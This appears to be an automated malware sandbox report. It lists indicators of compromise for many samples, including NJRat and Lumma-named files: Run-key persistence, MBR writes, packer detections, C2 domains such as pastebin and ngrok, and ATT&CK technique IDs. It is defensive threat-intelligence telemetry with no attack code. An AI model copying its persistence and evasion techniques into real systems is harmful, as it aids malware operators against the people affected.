Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\empyrean = "C:\\Users\\Admin\\AppData\\Roaming\\empyrean\\run.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\winsct = "C:\\Users\\Admin\\AppData\\Roaming\\winsct"	xt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows = "C:\\Users\\Admin\\Windows.exe"	freedom.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\b9584a316aeb9ca9b31edd4db18381f5 = "\"C:\\Users\\Admin\\Desktop\\Files\\NJRat.exe\" .."	NJRat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Users\\Admin\\sysnldcvmr.exe"	1304425268.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\Administrator = "C:\\ProgramData\\Microsoft\\csrss.exe"	win.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe"	XClient.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysklnorbcv.exe"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	pi.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\OneDrive = "\"C:\\ProgramData\\OneDrive\\OneDrive.exe\""	bildnewl.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	newtpp.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hhnjqu9y.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Client_protected.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	GLP_installer_900223086_market.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 47 IoCs

Web Service

T1102

flow	ioc
64	raw.githubusercontent.com
185	discord.com
2812	2.tcp.ngrok.io
3156	raw.githubusercontent.com
3335	raw.githubusercontent.com
3540	pastebin.com
2812	pastebin.com
3445	discord.com
22	raw.githubusercontent.com
53	raw.githubusercontent.com
187	raw.githubusercontent.com
1781	discord.com
2284	raw.githubusercontent.com
2784	bitbucket.org
792	pastebin.com
887	iplogger.com
1402	pastebin.com
1860	raw.githubusercontent.com
3421	discord.com
214	discord.com
808	pastebin.com
1747	discord.com
3068	raw.githubusercontent.com
23	bitbucket.org
821	raw.githubusercontent.com
885	iplogger.com
3404	discord.com
3753	raw.githubusercontent.com
180	discord.com
3410	discord.com
3206	2.tcp.ngrok.io
3872	pastebin.com
540	bitbucket.org
1909	raw.githubusercontent.com
2481	2.tcp.ngrok.io
2784	discord.com
2785	raw.githubusercontent.com
2937	raw.githubusercontent.com
3418	discord.com
3428	discord.com
42	raw.githubusercontent.com
392	raw.githubusercontent.com
746	raw.githubusercontent.com
3105	raw.githubusercontent.com
3117	bitbucket.org
3414	discord.com
3439	discord.com

Looks up external IP address via web service 15 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
208	api.ipify.org
1747	ip-api.com
2812	api.ipify.org
2812	ip-api.com
24	ip-api.com
200	api.ipify.org
204	api.ipify.org
3124	api.ipify.org
3183	api.ipify.org
181	api.ipify.org
184	ip-api.com
180	api.ipify.org
408	ip-api.com
3310	api.ipify.org
3801	ip-api.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5624	Process not Found
9860	Process not Found
13292	powercfg.exe
6516	powercfg.exe
6264	powercfg.exe
9104	powercfg.exe
12916	Process not Found
3712	Process not Found

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	GLP_installer_900223086_market.exe

Enumerates processes with tasklist 1 TTPs 12 IoCs

discovery

Process Discovery

T1057

pid	Process
6736	tasklist.exe
6860	tasklist.exe
10056	tasklist.exe
2476	Process not Found
2216	tasklist.exe
12212	tasklist.exe
12800	tasklist.exe
13256	tasklist.exe
5208	tasklist.exe
3752	tasklist.exe
2684	tasklist.exe
12136	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
7444	hhnjqu9y.exe
2088	rhsgn_protected.exe
4364	Client_protected.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 6076 set thread context of 3760	6076	winupsecvmgr.exe	175
PID 6076 set thread context of 2760	6076	winupsecvmgr.exe	176
PID 2748 set thread context of 5876	2748	test.exe	181
PID 5264 set thread context of 5256	5264	xyaw4fkp.exe	269
PID 1440 set thread context of 7276	1440	T3.exe	278
PID 7444 set thread context of 6744	7444	hhnjqu9y.exe	320

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/memory/5836-1580-0x00007FF8E0AC0000-0x00007FF8E0F2E000-memory.dmp	upx
behavioral4/memory/5836-1587-0x00007FF900340000-0x00007FF90034F000-memory.dmp	upx
behavioral4/memory/5836-1586-0x00007FF8E4C80000-0x00007FF8E4CA4000-memory.dmp	upx
behavioral4/memory/5836-1588-0x00007FF8FC490000-0x00007FF8FC4A9000-memory.dmp	upx
behavioral4/memory/5836-1589-0x00007FF8E4C50000-0x00007FF8E4C7D000-memory.dmp	upx
behavioral4/memory/5836-1591-0x00007FF8EC1F0000-0x00007FF8EC209000-memory.dmp	upx
behavioral4/memory/5836-1592-0x00007FF8FCAE0000-0x00007FF8FCAED000-memory.dmp	upx
behavioral4/memory/5836-1595-0x00007FF8E4C20000-0x00007FF8E4C4E000-memory.dmp	upx
behavioral4/memory/5836-1596-0x00007FF8E3BF0000-0x00007FF8E3CAC000-memory.dmp	upx
behavioral4/memory/5836-1597-0x00007FF8E4BF0000-0x00007FF8E4C1B000-memory.dmp	upx
behavioral4/memory/5836-1600-0x00007FF8E4BD0000-0x00007FF8E4BEC000-memory.dmp	upx
behavioral4/memory/5836-1599-0x00007FF8F61C0000-0x00007FF8F61CA000-memory.dmp	upx
behavioral4/memory/5836-1598-0x00007FF8E0AC0000-0x00007FF8E0F2E000-memory.dmp	upx
behavioral4/memory/5836-1603-0x00007FF8E4AF0000-0x00007FF8E4B1E000-memory.dmp	upx
behavioral4/memory/5836-1604-0x00007FF8E2E30000-0x00007FF8E2EE8000-memory.dmp	upx
behavioral4/memory/5836-1608-0x00007FF8EC1F0000-0x00007FF8EC209000-memory.dmp	upx
behavioral4/memory/5836-1606-0x00007FF8E0740000-0x00007FF8E0AB5000-memory.dmp	upx
behavioral4/memory/5836-1605-0x00007FF8E4C50000-0x00007FF8E4C7D000-memory.dmp	upx
behavioral4/memory/5836-1615-0x00007FF8E4020000-0x00007FF8E4034000-memory.dmp	upx
behavioral4/memory/5836-1622-0x00007FF8E4BF0000-0x00007FF8E4C1B000-memory.dmp	upx
behavioral4/memory/5836-1621-0x00007FF8E2D10000-0x00007FF8E2E28000-memory.dmp	upx
behavioral4/memory/5836-1620-0x00007FF8E3FF0000-0x00007FF8E4015000-memory.dmp	upx
behavioral4/memory/5836-1619-0x00007FF8E3BF0000-0x00007FF8E3CAC000-memory.dmp	upx
behavioral4/memory/5836-1618-0x00007FF8F1E20000-0x00007FF8F1E2B000-memory.dmp	upx
behavioral4/memory/5836-1617-0x00007FF8F2F30000-0x00007FF8F2F3D000-memory.dmp	upx
behavioral4/memory/5836-1616-0x00007FF8E4C20000-0x00007FF8E4C4E000-memory.dmp	upx
behavioral4/memory/5836-1634-0x00007FF8E2650000-0x00007FF8E27C1000-memory.dmp	upx
behavioral4/memory/5836-1633-0x00007FF8E3FD0000-0x00007FF8E3FEF000-memory.dmp	upx
behavioral4/memory/5836-1636-0x00007FF8F0E60000-0x00007FF8F0E6B000-memory.dmp	upx
behavioral4/memory/5836-1635-0x00007FF8E4AF0000-0x00007FF8E4B1E000-memory.dmp	upx
behavioral4/memory/5836-1637-0x00007FF8E2E30000-0x00007FF8E2EE8000-memory.dmp	upx
behavioral4/memory/5836-1645-0x00007FF8E4AC0000-0x00007FF8E4ACC000-memory.dmp	upx
behavioral4/memory/5836-1651-0x00007FF8E3BB0000-0x00007FF8E3BBC000-memory.dmp	upx
behavioral4/memory/5836-1650-0x00007FF8E39D0000-0x00007FF8E39DB000-memory.dmp	upx
behavioral4/memory/5836-1652-0x00007FF8E39C0000-0x00007FF8E39CC000-memory.dmp	upx
behavioral4/memory/5836-1649-0x00007FF8E39E0000-0x00007FF8E39EB000-memory.dmp	upx
behavioral4/memory/5836-1648-0x00007FF8E3BA0000-0x00007FF8E3BAC000-memory.dmp	upx
behavioral4/memory/5836-1647-0x00007FF8E3BE0000-0x00007FF8E3BEC000-memory.dmp	upx
behavioral4/memory/5836-1644-0x00007FF8E3BC0000-0x00007FF8E3BCE000-memory.dmp	upx
behavioral4/memory/5836-1643-0x00007FF8E3BD0000-0x00007FF8E3BDD000-memory.dmp	upx
behavioral4/memory/5836-1642-0x00007FF8E3E00000-0x00007FF8E3E0B000-memory.dmp	upx
behavioral4/memory/5836-1641-0x00007FF8E3E10000-0x00007FF8E3E1C000-memory.dmp	upx
behavioral4/memory/5836-1640-0x00007FF8E3E70000-0x00007FF8E3E7B000-memory.dmp	upx
behavioral4/memory/5836-1639-0x00007FF8E4B70000-0x00007FF8E4B7B000-memory.dmp	upx
behavioral4/memory/5836-1638-0x00007FF8E0740000-0x00007FF8E0AB5000-memory.dmp	upx
behavioral4/files/0x000600000002a70e-3242.dat	upx
behavioral4/files/0x001b00000002af17-14133.dat	upx
behavioral4/files/0x001f00000002ae3b-14908.dat	upx

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\jerniuiopu.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\fdf6fcdebbd70d	Msblockreview.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\7a73b78f679a6f	Msblockreview.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\AppLaunch.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\winlogon.exe	Msblockreview.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe	Msblockreview.exe
File created	C:\Program Files\VideoLAN\VLC\conhost.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\de-DE\loader_5879465914.exe	Msblockreview.exe
File opened for modification	C:\Program Files\Reference Assemblies\Microsoft\Framework\explorer.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\cc11b995f2a76d	Msblockreview.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\7a0fd90576e088	Msblockreview.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\chrome.exe	Msblockreview.exe
File created	C:\Program Files (x86)\Windows Media Player\de-DE\644a2eaf928b9d	Msblockreview.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\536764fb8cb1f3	Msblockreview.exe
File created	C:\Program Files\VideoLAN\VLC\088424020bedd6	Msblockreview.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File opened for modification	C:\Windows\sysmablsvr.exe	tt.exe
File created	C:\Windows\sysppvrdnvs.exe	pi.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	pi.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	newtpp.exe
File opened for modification	C:\Windows\AnchorAnnotated	NorthSperm.exe
File opened for modification	C:\Windows\CheckingReliable	NorthSperm.exe
File created	C:\Windows\sysmablsvr.exe	tt.exe
File opened for modification	C:\Windows\GamblingCedar	NorthSperm.exe
File created	C:\Windows\es-ES\wininit.exe	Msblockreview.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	setup.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\settings.dat	setup.exe
File created	C:\Windows\sysklnorbcv.exe	t2.exe
File created	C:\Windows\sysnldcvmr.exe	newtpp.exe
File created	C:\Windows\sysnldcvmr.exe	1304425268.exe
File opened for modification	C:\Windows\SystemTemp\Crashpad\metadata	setup.exe
File created	C:\Windows\es-ES\56085415360792	Msblockreview.exe
File opened for modification	C:\Windows\sysklnorbcv.exe	t2.exe
File opened for modification	C:\Windows\ConferencesInto	NorthSperm.exe

Launches sc.exe 45 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5992	sc.exe
8156	sc.exe
2352	sc.exe
6164	sc.exe
3820	sc.exe
10404	Process not Found
5208	sc.exe
1252	sc.exe
9480	sc.exe
12720	Process not Found
9548	sc.exe
8068	sc.exe
5404	Process not Found
3692	Process not Found
11232	sc.exe
3068	sc.exe
2088	sc.exe
3944	sc.exe
7992	sc.exe
6280	sc.exe
7264	sc.exe
9516	sc.exe
11840	Process not Found
4976	sc.exe
1572	sc.exe
3804	sc.exe
5440	sc.exe
12596	sc.exe
10200	Process not Found
4952	sc.exe
6096	sc.exe
5384	sc.exe
6044	sc.exe
4040	sc.exe
5688	sc.exe
2088	sc.exe
13192	sc.exe
6032	sc.exe
8472	sc.exe
4896	sc.exe
1372	sc.exe
6992	sc.exe
6156	sc.exe
9072	sc.exe
10828	sc.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
6348	mshta.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 5 IoCs

pyinstaller

resource	yara_rule
behavioral4/files/0x000300000002a764-1479.dat	pyinstaller
behavioral4/files/0x001b00000002adb1-6735.dat	pyinstaller
behavioral4/files/0x001a00000002ae1e-7221.dat	pyinstaller
behavioral4/files/0x001b00000002acf6-14037.dat	pyinstaller
behavioral4/files/0x001b00000002b078-16188.dat	pyinstaller

Embeds OpenSSL 3 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral4/files/0x000300000002a820-3564.dat	embeds_openssl
behavioral4/files/0x001900000002ac92-4102.dat	embeds_openssl
behavioral4/files/0x001800000002b188-19346.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 54 IoCs

pid	pid_target	Process	procid_target
5412	7588	WerFault.exe	256
7852	6744	WerFault.exe	320
6868	4364	WerFault.exe	313
7364	8144	WerFault.exe	326
6276	1540	WerFault.exe	493
6284	4144	WerFault.exe	528
8372	4144	WerFault.exe	528
10024	4144	WerFault.exe	528
8544	4144	WerFault.exe	528
8852	4144	WerFault.exe	528
7260	6964	WerFault.exe	515
800	6264	WerFault.exe	527
8876	4144	WerFault.exe	528
8940	7956	WerFault.exe
5160	6264	WerFault.exe	527
8304	4144	WerFault.exe	528
8816	4144	WerFault.exe	528
9536	4144	WerFault.exe	528
9964	5628	WerFault.exe	449
9072	4144	WerFault.exe	528
5544	7956	WerFault.exe	694
6328	4144	WerFault.exe	528
3692	3368	WerFault.exe	735
4004	3368	WerFault.exe	735
8132	1776	WerFault.exe	587
5356	3368	WerFault.exe	735
8764	3368	WerFault.exe	735
1824	3368	WerFault.exe	735
2436	3368	WerFault.exe	735
5132	3368	WerFault.exe	735
5452	3368	WerFault.exe	735
9932	3368	WerFault.exe	735
10716	3368	WerFault.exe	735
10768	8724	WerFault.exe	880
10284	3368	WerFault.exe	735
10300	3368	WerFault.exe	735
11008	9860	WerFault.exe	924
9540	10664	WerFault.exe	918
9860	3368	WerFault.exe	735
10860	9464	WerFault.exe	896
1872	6200	WerFault.exe	790
10140	3368	WerFault.exe	735
11408	3368	WerFault.exe	735
11020	3368	WerFault.exe	735
10008	3368	WerFault.exe	735
7900	12156	WerFault.exe	1019
7304	9768	WerFault.exe	999
11492	3368	WerFault.exe	735
9876	12412	WerFault.exe	1183
12776	6388	WerFault.exe	1248
9032	12864	WerFault.exe	1186
10588	11160	WerFault.exe	1328
5908	3368	Process not Found	735
1884	3368	Process not Found	735

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pipanel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Optimum.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_protected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jerniuiopu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhsgn_protected.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KuwaitSetupHockey.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hhnjqu9y.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Reproduction.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1304425268.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KuwaitSetupHockey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	win.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GREENpackage.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	whats-new.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Dn8g5KQZ4r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	twztl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tdrpload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysklnorbcv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ARA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LummaC22222.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	729613342.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crypteda.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kmvcsaed.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pei.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GLP_installer_900223086_market.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3644	PING.EXE
11960	cmd.exe
10416	PING.EXE
5728	cmd.exe
9692	PING.EXE
9088	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
2164	netsh.exe
5436	cmd.exe
1500	netsh.exe
6008	cmd.exe
2352	netsh.exe
5872	cmd.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	loader_5879465914.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	loader_5879465914.exe

Delays execution with timeout.exe 10 IoCs

evasion

pid	Process
9752	timeout.exe
8628	timeout.exe
6788	timeout.exe
8212	timeout.exe
2080	timeout.exe
7440	Process not Found
2396	Process not Found
7128	timeout.exe
11300	Process not Found
5036	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1692	WMIC.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	loader_5879465914.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	loader_5879465914.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	405	Go-http-client/1.1
HTTP User-Agent header	3342	Go-http-client/1.1
HTTP User-Agent header	3351	Go-http-client/1.1

Kills process with taskkill 1 IoCs

evasion

pid	Process
9680	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133762582261668109"	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\Shell	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3870231897-2573482396-1083937135-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	chrome.exe
